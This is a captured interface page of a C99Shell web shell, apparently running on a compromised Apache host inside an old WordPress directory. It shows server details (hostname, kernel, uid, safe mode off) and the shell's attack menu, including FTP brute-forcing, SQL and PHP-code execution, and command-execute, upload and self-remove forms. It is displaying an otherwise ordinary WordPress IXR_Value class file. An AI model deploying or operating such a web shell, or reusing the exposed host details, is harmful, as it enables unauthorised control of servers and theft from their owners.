!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-includes/IXR/   drwxr-xr-x
Free 182.34 GB of 490.84 GB (37.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-IXR-value.php (3.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * IXR_Value
 *
 * @package IXR
 * @since 1.5.0
 */
class IXR_Value {
    var 
$data;
    var 
$type;

    
/**
     * PHP5 constructor.
     */
    
function __construct$data$type false )
    {
        
$this->data $data;
        if (!
$type) {
            
$type $this->calculateType();
        }
        
$this->type $type;
        if (
$type == 'struct') {
            
// Turn all the values in the array in to new IXR_Value objects
            
foreach ($this->data as $key => $value) {
                
$this->data[$key] = new IXR_Value($value);
            }
        }
        if (
$type == 'array') {
            for (
$i 0$j count($this->data); $i $j$i++) {
                
$this->data[$i] = new IXR_Value($this->data[$i]);
            }
        }
    }

    
/**
     * PHP4 constructor.
     */
    
public function IXR_Value$data$type false ) {
        
self::__construct$data$type );
    }

    function 
calculateType()
    {
        if (
$this->data === true || $this->data === false) {
            return 
'boolean';
        }
        if (
is_integer($this->data)) {
            return 
'int';
        }
        if (
is_double($this->data)) {
            return 
'double';
        }

        
// Deal with IXR object types base64 and date
        
if (is_object($this->data) && is_a($this->data'IXR_Date')) {
            return 
'date';
        }
        if (
is_object($this->data) && is_a($this->data'IXR_Base64')) {
            return 
'base64';
        }

        
// If it is a normal PHP object convert it in to a struct
        
if (is_object($this->data)) {
            
$this->data get_object_vars($this->data);
            return 
'struct';
        }
        if (!
is_array($this->data)) {
            return 
'string';
        }

        
// We have an array - is it an array or a struct?
        
if ($this->isStruct($this->data)) {
            return 
'struct';
        } else {
            return 
'array';
        }
    }

    function 
getXml()
    {
        
// Return XML for this value
        
switch ($this->type) {
            case 
'boolean':
                return 
'<boolean>'.(($this->data) ? '1' '0').'</boolean>';
                break;
            case 
'int':
                return 
'<int>'.$this->data.'</int>';
                break;
            case 
'double':
                return 
'<double>'.$this->data.'</double>';
                break;
            case 
'string':
                return 
'<string>'.htmlspecialchars($this->data).'</string>';
                break;
            case 
'array':
                
$return '<array><data>'."\n";
                foreach (
$this->data as $item) {
                    
$return .= '  <value>'.$item->getXml()."</value>\n";
                }
                
$return .= '</data></array>';
                return 
$return;
                break;
            case 
'struct':
                
$return '<struct>'."\n";
                foreach (
$this->data as $name => $value) {
                    
$name htmlspecialchars($name);
                    
$return .= "  <member><name>$name</name><value>";
                    
$return .= $value->getXml()."</value></member>\n";
                }
                
$return .= '</struct>';
                return 
$return;
                break;
            case 
'date':
            case 
'base64':
                return 
$this->data->getXml();
                break;
        }
        return 
false;
    }

    
/**
     * Checks whether or not the supplied array is a struct or not
     *
     * @param array $array
     * @return bool
     */
    
function isStruct($array)
    {
        
$expected 0;
        foreach (
$array as $key => $value) {
            if ((string)
$key !== (string)$expected) {
                return 
true;
            }
            
$expected++;
        }
        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0067 ]--